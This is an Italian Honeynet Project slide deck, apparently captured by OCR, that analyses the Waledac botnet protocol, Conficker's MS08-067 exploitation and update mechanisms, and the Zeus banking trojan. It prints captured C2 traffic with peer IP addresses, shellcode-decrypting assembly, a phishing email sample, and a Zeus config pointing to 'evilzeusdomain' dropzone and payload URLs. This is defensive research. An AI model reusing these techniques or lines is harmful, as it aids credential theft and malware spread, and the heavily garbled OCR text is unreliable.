8390ab6eecl6cB865e0b33d0e004e387£15d19906a50£5581e9¢4b0d11b78fb0bb2d18eefb2£a0026345d
dd63clec6942252255962b4a0£0281bd%a384129¢855534acaBd9db4484£4££9£83e75b950e53d£2885
f£6cd28

(immagini tratte da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac HTTP2P Protocol
Un'altra richiesta...

POST/HTTP,/1.1

Referer: Mozilla

Accept: */f*

Content-Type: application/x—www-form—urlencoded

X-PRegquest-Kind-Code: nodes

User-Agent: Mozilla

Host: 24.21.164.180

Content-Length: 3904

Cache—-Control: no-cache

g6 9d—opDMIUGAORAKQLVWZ T IMCD-WloB8pVIR30SwOy 9ncTU4 BELimKhCFPsUzIG6 TAHBbsHjHa kX S8bhgo
QTwgZ lwEA9T6aRhzs 9 -—-mMifgWgblwHAYU1TEy 2 i ByFUdyxudl£EgbinVEdmoWvsMl Tef y 3y rmWk JU0Y Uy 2vin
CF61O4AEGZ2THIILYOSS SpS9xeNVENLL rnlVkTwiHFcHYcTf6wEfinmEGfaVdl ALk THnoglwE I I IgY SNndsLEP
M3sfhE]l1mbAjJ11APg- xGMCHR £6SugbhWjTVIpa EqlaONUADDDCMsmA4JYiHYap-odbwMgLsTIZE]l S5cfQd
SRJD0cJjYxNTO00HASQEUqOQFeQr3ctx——TC2oblcmN1InTgudl 0KdvAT] bg¥8-pnywREZB-hi-TterZXyx
VEUBDY J6ewMbm3yxgd sWEmZSCWY 1 j5HAuRsMa f X rsgUTBvHIJOkOUnAK Tm91 YmmVY¥eBuaHBDD FPbgSpZUw
Pgu® _CdgTTSWiDgfuemdd3jhbil3xrlugCogmkE2DEAISNKg_YJEZcONSMLPOPTEFCAZ PMIQX8VHE PtPfMGU
m2J] 5eAM2CX fovWvXSHWvALx1 I TeNhl FBhe 3UcEKPve jp3uSWig— zLeXWosHp—Rs —CVSmtomEESppB 7T 8pk
M

HTITP/1.1 200 OK

Server: Apache 1.3

Content-Type: application/x-www-form-urlencoded

Content-Length: 3883
iZg3LIWBrsSO8IaRbFBlEs9EX] zgPacXLTd8 Jiolmt2 TkwXShCd=SpYVTB9DWkqUCtoNHv In 9fmgOTHdp T
IMSBtHWorosz0O-MvubogASdnpwf 1 AJTES35ql 6R _FMUIMSYP1 TkZBeV2CzDvSviD jYdgNeoCEv1Ul rues3w5B
AiFRDXtupIXtTy-XedKsSOxywTdv T XRAaBaRIOETYONE1O0Hs AgwRPNehBESFol qj 6aPtFl 0mknETaa ZTOg
OTO9UVRCwEUEauQEI JEHMNYDYDp lpBechnzgaxmIPj4cgB65 j2KlxfzTugVoObveaEJE FigsETMyNEE j¥Xhr
ItnVIxHIJE Z63S56Rh28z=zav GplyabcGopblkwlUl79rdphaqu8TvlixJdlR tltlozIvLtGlahEbHTwhECw2XE
uplsSfTaxeylaSszIMESoHYuS4ky jll6v2Z66NsVIFNFni rulARLDsxEi FgmoWGDa WAVUESbEfI39c388Fcb
2WDJath-JWzhgaxFKir9iCg2HeddHS4AFAbr2sMYdRkLuSyAsldb SmstjXQiMCYOnicGlslgidgvTleuWsGa
BNMMFFGTIIDPOCWEWgnXUIIN1IhR -Xy JEEPiOPP6l 4WdcahePoSvbhblTIVumNvSgLEtWNEbDaY 2uQx ANxD
xezibZnAHRbWgl zXtv T xORFacocFuLzIWD tIJkFdNLoT2 PeD5ulSxthgbheD1 VEL TAdFPEWrFREynAy 1g=ED 4
g¥ZnlC-weZhcocegouxw2Vu3hFiyMuh3IMSgABRS HPFMELI TdnNNu9NHoEngoeylo3hGEfuCdsSk9 XcesHaaoD.J
02uBJ8 Iw /BpeFeBULLYpVr82MADDEh NK 10vzYNNZARXMDTHR PGsyocABOlocwwCtzREen5-04zrd4668w7
hiaAn I HMNY JO0rz8 JuZPLOPFwZQ9 qugnGH‘x'GSX:E'ER?FgJ_'BIIlCEBa3m —FnaX3hXggWe-QoWGienT
FEGP9kfgdhYhRuZKINChb6VxWllesllil sWtISvIHrTHG54ANEZmv 34 FmOwr Qllyd.[]m&aeC]nV sx43bl iCKe
FoZgiMpgB2DHySbIuRGleBXSkE JPROGWOZzXWHIauX 9T RgRnylszanoWg"fukwmIQMgﬂmﬂlcxﬁﬁﬂT
-3X-FVkANkiTIBARIJUZmBThk1RroWVE fmFWQ jgagqlFTFbn jLmnggBTtZBd 0pid7 9%m-¥Y jWpwmXvadFDo2
FFGAt-Z23Lud4TcMyB8rs4d

(immagini tratte da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac HTTP2P Protocol
Risposta: lista di nodi Waledac?

<lm><localtime>1237547711</local time>

<nodes>

<node ip="98.162.239.96" port="80" time="1237547696">
362789203a76176ddf29db3399273chf

</node>

<node ip="76.123.47.40" port="80" time="1237547641">
bh42d4d0288e235T4f644eh606424 74460

</node>

<node ip="24.249.5.39" port="80" time="1237547565">
3246427eTobThdla9%d0acd Tacscldc818

</node>

<nodeip="76.107.135.225" port="80" time="1237547559">
1f52f1176T3££37ThT7714a16bLT4220L72d

</node>

<node time="123T7547233">
3c3bebTefcofebbalfif00444d4403308

</node>

<node ip="61.120.139.212" port="80" time="1237547233">
8al65c4b6l 68931 72a5d40421df2cak02

</node>

<node ip="67.166.187.226" port="80" time="1237547232">
030a4174a45756002122ccb6b94391268

</node>

<node ip="196.203.69.118" port="80" time="1237547220">
590489560ch0faTfc0l14f03a46644378

</node>

</nodes>

<f1m>

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)



E— N . . - H ONEYVYNET P RO JECT

Waledac HTTP2P Protocol

<lm>

<t>(command type)</t>

<v> (WALEDAC bot version)</v>
<i>(node id)</i>

<r>(0 or 1 value)</r>
<props>

<p n="(attribute) "> (text)</p>
</props>

</1lm>

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)



E— N . . - H ONEYVYNET P RO JECT

Conficker
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Conficker

Il worm Conficker € stato individuato per la prima
volta verso la fine del 2008 ed e attualmente
ancora attivo

Secondo alcune stime il numero di host infetti
potrebbe aggirarsi attorno ai 10 milioni

Conficker si propaga sotto forma di DLL

La cosa piu strana € che da quando e stato
Individuato non si e reso responsabile di alcun tipo
di attivita malevola
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Conficker

Sono state individuate 4 versioni a cui ci si
riferisce genericamente come

Conficker.A
Conficker.B
Conficker.C
Conficker.D

con le versioni successive alla A che comprendono
miglioramenti e correzioni rispetto alla versione
originaria
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Conficker
Meccanismi di diffusione

Il principale meccanismo di propagazione ¢ legato
all'exploiting della vulnerabilita MS08-067 di
Microsoft Windows Server Service

“Microsoft Security Bulletin MS08-067 — Critical”
http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx

Altri meccanismi di diffusione sono possibili
mediante accesso a NetBIOS share e chiavette
USB e lanciando Conficker attraverso

rundll32.exe
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Conficker
Meccanismi di diffusione

La vulnerabilita € presente in una remote procedure call
che richiama la funzione NetpwPathCanonicalize
esportata da netapi32.dll su una sessione SMB stabilita su
porta 445/TCP

Questa funzione prende un unico argomento, una path
string, ed effettua la canonicalization della stessa (ad
esempio la stringa aaa\bbb\..\ccc viene trasformata dalla
funzione in aaa\ccc)

La funzione presenta una vulnerabilita che consente la
sovrascrittura dell'indirizzo di ritorno della funzione stessa
(anche se non si tratta di un buffer overflow) consentendo
I'esecuzione di codice remoto
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H ONEYVYNET

Conficker
Meccanismi di diffusione

P RO JECT

Conficker utilizza un classico PEB shellcode encodato
utilizzando una XOR con il byte 0xC4 per evitare NULL
bytes
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Figure 2: Encoded and decoded shellcode sample
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(immagine tratta da “Know Your Enemy: Containing Conficker”, F. Leder and T. Werner)
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Conficker
Meccanismi di diffusione

A seguito dell'exploiting, Conficker modifica la funzione
vulnerabile introducendo un hook che viene utilizzato per
rimuovere la vulnerabilita e consentire ['aggiornamento a
versioni successive

SBE6AZ5SD 8BFF MOV EDI,EDI 5BE86AZ59 E9 AOBOZEBAG JMF 0Q01AFSZFE

SBE6AZ5H 55 PUSH EEP

SBE&AZSC 8BEC MOV EBP,ESP

5BRE6AZSE 53 PUSH EBX S5BEARAZSE 53 PUSH EBX

SBEGAZSF 8BSD 14 MOV EBX,DWORD PTR S55:[EBP+14] SBEGAZSF BBSD 14 MOV EBX,DWORD PTR S5:[EBP+14]
S5BEGAZGZ 56 PUSH ESI SBERRAZ6Z 56 PUSH ESI

5BRE6AZGS 57 PUSH EDI 5BE6RAZ63 57 PUSH EDI

SBRG6AZG4 33FF XOR EDI,EDI SBERRA264 33FF ¥OR EDI,EDI

5BEGAZGE 3BDF CMP EBX,EDI 5BE6RAZ66 3IBDF CMP EBX,EDI

SBEGAZGE 0Fe85 EEDE0OQO0 JWZ NETAPI3Z.5BET80FC SBBeRA268 OQFB5 BEDEOQQOO JNE NETAPI3Z.S5BBTEOFC

Figure 3: Unpatched and patched version of NetpwPathCanonicalize()

(immagine tratta da “Know Your Enemy: Containing Conficker”, F. Leder and T. Werner)
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L B 4

BNl

decrypt_shellcode loop: ;3 bytewise SO0R

P RO JECT

®or byte ptr [eax+edi], GC4h
inc Pax : increase pointer
cmp pax, esi ; end ofF buffer reached?
jb short decrypt shellcode loop
|
¥
EA N
mou eax, dword ptyr aHttp :; "http:-/7""
mov [ebp+var_C], eax ; store pattern in local wvariable
mou eax, dword ptr aHttp+i
or epx, —1
mou [ebp+uvar 8], eax
mov [ebp+var_ h], ecH
v ¥
BNl
copy_url: ; number of bytes to compare
push F
1lea eax, [ebpruar_ ]
push eax ; pointer to pattern
mou eax, [ebpruar_ 4]
add eax, edi
push eax ; pPointer to current buffer position
call j_memcmp
add esp, GCh
test eax, eax
j=z short pattern found
¥
:5. 11
inc [ebp+uar 4] ; increase buffer pointer
cmp [ebp+var_ 4], esi ; end of buffer reached?
jb short copy url

v A

(immagine tratta da “Know Your Enemy: Containing Conficker”, F. Leder and T. Werner)
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Conficker
Meccanismi di update

Se il path da analizzare contiene il pattern \..\ la
funzione in questione applica una XOR con il byte
0xC4 all'area di memoria potenzialmente contenente
lo shellcode

Fatto questo cerca la stringa http:// nella stessa area e
se la trova questo significa che un host infetto da
Conficker sta cercando di exploitarlo e quindi utilizza
I'URL per scaricare l'aggiornamento

Ma non € l'unico meccanismo di update...
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Conficker
Meccanismi di update

Conficker dispone di un generatore di nomi di dominio
utilizzati dal rendezvous protocol per scaricare gli
update

Conficker.A e .B generano 250 domini al giorno

Conficker.C genera 50000 domini al giorno
scegliendone 500 randomicamente

Qualora un update avvenga con successo Conficker
aspetta 4 giorni prima di tentarne un altro altrimenti
aspetta soltanto 24 ore
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Conficker
Meccanismo di validazione degli update

Tutti gli update scaricati vengono validati prima di essere
esequiti

Al binario viene inizialmente applicata una funzione di hash
in modo da calcolare M = HASH(bin.exe)
Conficker.B e successivi utilizzano MD-6 per I'hashing

Successivamente il binario viene cifrato con uno stream
cipher RC4 in questo modo ENC.BIN = RC4(bin.exe, M)

Successivamente si genera una signature mediante uno
schema RSA che viene appesa al binario cifrato e questo é
il file che viene scaricato



E—— N , . - H ONEYVYNET P RO JECT

Conficker
Meccanismo di validazione degli update

Windows Binary enc.bin

e o Digitally
i a1l g signed and
RC4(hin.exe M) 5757 Append Sig o Encrypted
W Fr e pa'._lll.'hjad
epriv ~ -
HASH(bin exe) = M mod M = Sig
M (512-bit)
_ Epub
:::::::::::::::::E;JDEI:EIEHHE:I Sig mod Moo= b
: <£ 1
3§ Public Bin.exe = RC4{enc.tin,M
NN maduius (M) E M) :
«— 5ig
'%“E”ft_‘ide If HASH(bin exe) = M Digitally signed
DEGREE then and Encrypted
Sldca Shellexecute() payload

(immagine tratta da “An Analysis of Conficker's Logic and Rendezvous Points”, P. Porras, H. Saidi, and V. Yegneswaran)
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Conficker
Rendezvous Protocol (Conficker .A e .B)

Get System Time Resolve random name
o an IP address 1-

J" 1||. Exit

1
1
L}
1
| ]
1
1
1
1
n
Check if date is after How 25th : -
H Retrieve default
L}
| ]
1
L]
]
L}
| ]
L]
]
]
]

for version A and on or after User Agent Stri
January 2009 for B —_

Cpen URL
hittpofresolved_IPfsearch7g=x&aq=7 Tfor versiomn A
and hittpziresolved_ [IP/'search?g=x for version B

Query__search_engines_set_time() |

ramdy)

get_date_from_uri() ] ' 1

fetch_date_from_uri() - Dovamniload file if available
parse_date_from_url() H

I} ' | Exit

SetSystemTime() i Check file size, signature,
.l decrypt and execute file
Generate a list of 250
by callimg
Generate__domains()

!

Choose ramndommiby
32 domains

¥

contact on random domain
and downiload filke
if awvailable

(immagine tratta da “An Analysis of Conficker's Logic and Rendezvous Points”, P. Porras, H. Saidi, and V. Yegneswaran)
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Conficker.C

Conficker.C aggiunge un ulteriore meccanismo per
poter coordinare tra di loro gli host infetti e
consentirne l'aggiornamento

Il meccanismo si basa su un protocollo P2P
utilizzato dagli host infetti che possono agire sia da
client che da server

Gli autori hanno cercato di rallentare la procedura di
reverse engineering di questa sezione di codice
mediante offuscamento del codice stesso
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Conficker
Conclusioni

Conficker € un worm ottimamente ingegnerizzato,
estremamente complesso nel suo funzionamento e
sotto molti punti di vista innovativo rispetto al passato

E' anche un oggetto alquanto misterioso in quanto,
nonostante il numero di host infetti sia elevatissimo,
non € mai stato utilizzato per scopi malevoli

Attualmente siamo alla versione D ma un numero
estremamente elevato di host infetti sono fermi alla
versione C grazie ad interventi mirati di alcuni ISP.
Sara sufficiente?
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Zeus
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Zeus

Zeus e un trojan horse anche noto con il nome di
Zbot, PRG, Wsnpoem, Gorhax e Kneber

E' specializzato nel furto di credenziali (account
bancari, e-mail e account su social networks)
mediante |'utilizzo di funzionalita di keystroke
logging tipicamente presenti nei rootkit

 Attualmente il prezzo di Zeus sul mercato nero si
aggira intorno ai 700$ per il webadmin panel e
4000% per I'EXE Builder
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Zeus

E' stato identificato per la prima volta nel 2007 quando
e stato utilizzato per rubare informazioni all'United
States Departement of Transportation

E' tornato alla ribalta nel Marzo 2009 e si conta che
attualmente il numero di host compromessi sia
estremamente elevato (3,6 milioni soltanto negli USA)

E' attualmente attivissimo (ad Aprile 2010 I'Early
Warning Team @ Communication Valley ha isolato
una nuova versione)
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Zeus
Meccanismi di diffusione

Zeus si diffonde principalmente mediante:
Drive-by downloads attacks
Phishing

Ad Ottobre 2009 si € valutato che Zeus aveva spedito
circa 1,5 milioni di messaggi di phishing su Facebook
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Zeus
Meccanismi di diffusione

facebook

Dear Facebook user,

Update vour Facebook
In an effort to maks vour online experience safer and more enjovable, Facebook will be o
mplementing 2 new login system that will affect 2l Facsbook users. These chanpss will
offer new features and mereazed account security.
Before you are zble to use the new logn system_ you will be raquired to update your
account

Click here to updats vour account onlmes now,

If vou have anv questions, reference our Wew User Guide,

Thanks.
The Facebook Team
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Zeus
Meccanismo di infezione

Pipe Server

e \0\ é
Winlogon.exe

HTTP POST

‘ APl Hook

Request

*All Other
9 4—0— Svchost.exe
Processes

Send Activity Stats Download More Trojans
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Meccanismo di infezione

* L'esequibile inietta un remote thread in winlogon.exe

* |l thread crea un named pipe server per la
comunicazione con gli altri thread e un altro thread che
viene eseguito in svchost.exe

* svchost.exe inietta un thread remoto in (quasi) tutti i
processi attivi realizzando I'nook delle API

* svchost.exe genera altri tre thread per scaricare gli
update, per inviare statistiche e per inviare le
credenziali rubate a un drop site
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Zeus
Win32 APl Hooks

APl Function Module  Purpose
HttpSendRequestW wininet.dll Examine and steal request buffer data
HitpSendRequestA wininet.dll Examine and steal request buffer data

HitpSendRequesteExW  wininet.dll Examine and steal request buffer data

HitpSendRequestExA wininet.dll Examine and steal request buffer data

NtCreateThread ntdll.dll  Intercept requests and infect new threads.

LdrLoadDIl ntdll.dll  Prevent subsequent calls to LoadLibrary() from restoring the
hooked function’s address to the oniginal.

LdrGetProcedureAddress ntdll.dll  Prevent subsequent calls to GetProcAddress() from restoring the
hooked function’s address to the onginal.
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Zeus
Drop Points

Le credenziali intercettate attraverso |l
meccanismo dell'’API hooking descritto in
precedenza vengono successivamente inviate a
un drop point

Un drop point altro non € che un host che mette a
disposizione una qualche modalita (ad esempio
una Web application, una NetBIOS share,...) per
effettuare l'upload delle credenziali da rubare
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Zeus Variants

Variant 1

File

COWINDOW Seystem 3ntos exe
CAWINDOW Seysterm 3wsnpoem‘audic.dl
COAWINDOW Seystem 3 wsnpoem'videc.dl

Variant 2

File
CAWINDOW Seysterm 3Aoembios.exe

CAOWINDOW Seystem 3deysprocteysprocBt sys
CAOWINDOW Seystem 3AsysprocBsysproc 32 sys

Variant 3

File

COW INDOW Seystem 3twext exe
COWINDOW Seystem 32bwain_32ocal .ds
COWINDOW Seystem 3bwain_32wser ds

Variant 4

File

CAWINDOW Sieystem 3Aadrabd exe
CAWINDOW Seystem 3Aowseclocal ds
CAOWINDOW Seystem 3Aowsecuser ds

Description

Trojan binary

Contains the stolen data
Contains the encrypied config

Description

Trojan binary

Contains the stolen data
Contains the encrypied config

Description

Trojan binary

Contains the stolen data
Contains the encrypted config

Description

Trojan binary

Contains the stolen data
Contains the encrypied config
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Zeus
Configuration File

=M=qg |ID=20002 URLLastBinary Filelen=33 Reallen=233 Type="Uncompressed =
http:ffevilzeusdomain.rwzsldr.exe | Latest frojan binary)

=Msg=

=Msg ID=20003 URLServer( FileLen=29 RealLen=29 Type="Uncompressed =
http:fevilzeusdomain.rwzs/s.php | Dropzons)

<Msg=

=M=g |D=20004 URLAdvServers FileLen=37 ReallLen=37 Type="'Uncompressed'=
http:ffevilzeusdomain.rwzs/cfg.bin | Latest config file [encryoied])

<Msg=

<M=qg ID=20006 HT TPBotiogFilter FilelLen=153 RealLen=1388 Type="Compressed > (W alching for the URLs balow)
I* microsoft.com”

Thttp:/"myspace.com®

<Msag=

<Msg ID=20008 HTTPF akesList FileLern=621 RealLen=1974 Type="Compressed > (Fake  redirect the UR L= below)
https: isignin.ebay.comiws/leBayiSAPLdII?co*

https: isitekey.bankofamerica.com/sasizignon*

https: www. paypal.com™/cgi-binfwebscr 7SESSION*

https: lonlineservices. wachovia.com/auth/Aut hServ*

https: banking.*.de/cgiflueberweisung.cgi™

[-..]

<Msg=
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Engelberth, F.C. Freiling, T. Holz

‘Know Your Enemy: Containing Conficker”, F. Leder, T. Werner
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“Time to Revisit Zeus Almighty”, ThreatExpert Blog
http://blog.threatexpert.com/2009/09/time-to-revisit-zeus-almighty.html
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Grazie per |'attenzione!

Domande?

Angelo Dell'Aera
<angelo.dellaera@honeynet.org>
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